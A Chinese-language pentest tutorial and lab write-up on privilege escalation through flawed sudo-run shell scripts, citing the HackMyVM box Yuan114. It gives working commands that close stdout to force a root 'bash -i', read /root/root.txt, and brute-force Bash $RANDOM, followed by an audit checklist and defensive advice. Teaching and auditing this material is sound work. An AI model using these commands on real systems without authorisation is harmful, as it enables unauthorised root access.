跳到主要内容

sudo Shell 脚本逻辑缺陷提权

当普通用户可以通过 sudo 执行某个 Shell 脚本时,风险不只来自 PATH 劫持或可写脚本。脚本自身的条件判断、重定向、错误处理和随机数逻辑也可能让攻击者绕过预期分支。


第一阶段:枚举 sudo 权限

sudo -l

关注这些信息:

信息风险
可执行脚本路径是否能读脚本内容
NOPASSWD是否无需密码即可重复调用
参数限制是否固定参数,还是任意参数
环境保留是否保留危险环境变量
解释器Bash、Python、Perl 等利用面不同

典型缺陷:cmd1 && cmd2 || cmd3

Shell 中常见写法:

[ "$1" != "$My_guess" ] && echo "Nop" || bash -i

作者可能以为逻辑是:

猜错 -> echo Nop
猜对 -> bash -i

实际逻辑是:

条件为真 -> 执行 echo Nop -> 如果 echo 失败 -> 继续执行 bash -i
条件为假 -> 跳过 echo Nop -> 执行 bash -i

也就是说,只要能让中间的 echo 失败,即使猜错也会落入 || bash -i


方法 A:关闭 stdout 诱导 echo 失败

关闭标准输出:

sudo /opt/short.sh pwned >&-

此时 echo "Nop" 写 stdout 会失败,脚本进入 || bash -i。由于 stdout 已关闭,交互回显可能异常,可以先用盲打方式把结果写入临时文件:

cat /root/root.txt > /tmp/flag.txt
exit
cat /tmp/flag.txt

方法 B:恢复交互回显

拿到 root shell 后,把 stdout 指向 stderr:

sudo /opt/short.sh pwned >&-
exec 1>&2
id
whoami

如果看到:

uid=0(root) gid=0(root) groups=0(root)

说明已经获得 root 上下文。


方法 C:碰撞 Bash $RANDOM

Bash $RANDOM 范围是 0-32767。如果脚本每次运行时用它生成目标值,也可以尝试暴力碰撞:

for i in {0..32767}; do
sudo /opt/short.sh "$i" <<< "cat /root/root.txt" 2>/dev/null | grep "flag" && break
done

这种方式直观,但通常不如利用逻辑短路稳定。它受 sudo 调用开销、脚本随机数生成时机、输出处理方式影响。


Yuan114 案例

Yuan114 中,welcome 可以通过 sudo 执行 /opt/short.sh。脚本使用:

[ "$1" != "$My_guess" ] && echo "Nop" || bash -i

关闭 stdout 后,echo 报错触发 bash -i,从普通用户切到 root shell。完整过程见:HackMyVM Yuan114 通关记录


审计清单

看到 sudo 脚本时,优先检查:

  1. 脚本是否可读,是否调用其他可写文件。
  2. 是否使用相对路径或未固定 PATH
  3. 是否有 cmd1 && cmd2 || cmd3 这种伪三元写法。
  4. 中间命令失败是否会进入高权限分支。
  5. 是否信任 $RANDOM、时间戳、临时文件名等低熵值。
  6. 是否把用户输入拼进命令、文件名或解释器参数。
  7. 是否能通过关闭 stdin/stdout/stderr 改变逻辑。

防御建议

  1. sudo 白名单中尽量放二进制程序或经过严格审计的脚本。
  2. Shell 条件判断使用明确的 if/then/else,不要用 cmd1 && cmd2 || cmd3 表达安全分支。
  3. 关键命令失败时应显式退出:set -euo pipefail 也要配合错误处理理解后再使用。
  4. 对 stdout/stderr 关闭、管道失败、命令失败都要有预期行为。
  5. 不要用 Bash $RANDOM 作为安全边界。